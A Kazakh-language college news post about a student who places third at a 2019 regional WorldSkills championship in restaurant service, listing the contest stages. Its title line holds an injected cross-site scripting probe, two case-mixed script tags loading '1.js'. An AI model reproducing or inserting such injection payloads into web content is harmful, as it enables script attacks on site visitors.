World Skills Kazahstan-2019» стандарты бойынша аймақтық чемпионат «Мейрамханалық қызмет көрсету» біліктілігі бойынша<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

01.04.2019

World Skills Kazahstan-2019» стандарты  бойынша аймақтық чемпионат «Мейрамханалық қызмет көрсету» біліктілігі бойынша.

Чемпионат  13-14 наурыз  аралығында  Щучинск  қаласындағы  Жоғары техникалық  колледже  болып өтті. Қатысушылар саны – 7 колледж.Аршалы кенті «№4 АТК» КММ  «Тамақтануды ұйымдастыру» мамандығы  бойынша 3 курс оқушысы  Овчарова  Екатерина  қатысты.Екі күннің  ішінде  үш кезең өткізілді. Бірінші күні  байқаудың  екі  кезеңі  өткізілді. Чемпионаттың  бірінші кезеңінде «Орамалдарды  бүктеу (15 нұсқа)»,«Таңғы/ түскі/ кешкі ас үшін  үстелді жабдықтау», «Түскі/кешкі асты берілген виртуальды ас мәзірі бойынша ресми емес жағдайда ұсыну» тапсырмалары болды.  Чемпионаттың  екінші кезеңі  «Алкогольді/алкогольсіз сусынды ұсыну», «Шарапты  декантациялау», «Жемісті  тәрелкені безендіру», «Фирмалық  коктейлді  безендіру  және  ұсыну» . Байқаудың  екінші  күнінде  үшінші  кезең  болды: « Қатысушыларды   кофемашинамен  таныстыру», «Тапсырма бойынша  кофе  даярлау  және ұсыну», «Жемістерді  фламбирлеу». Біздің қатысушымыз  Овчарова Екатерина  заняла -   3 жүлделі орынды иеленді.  

Просмотров: 503


Пікір қосу



Деректерді қолтаңбаға қосу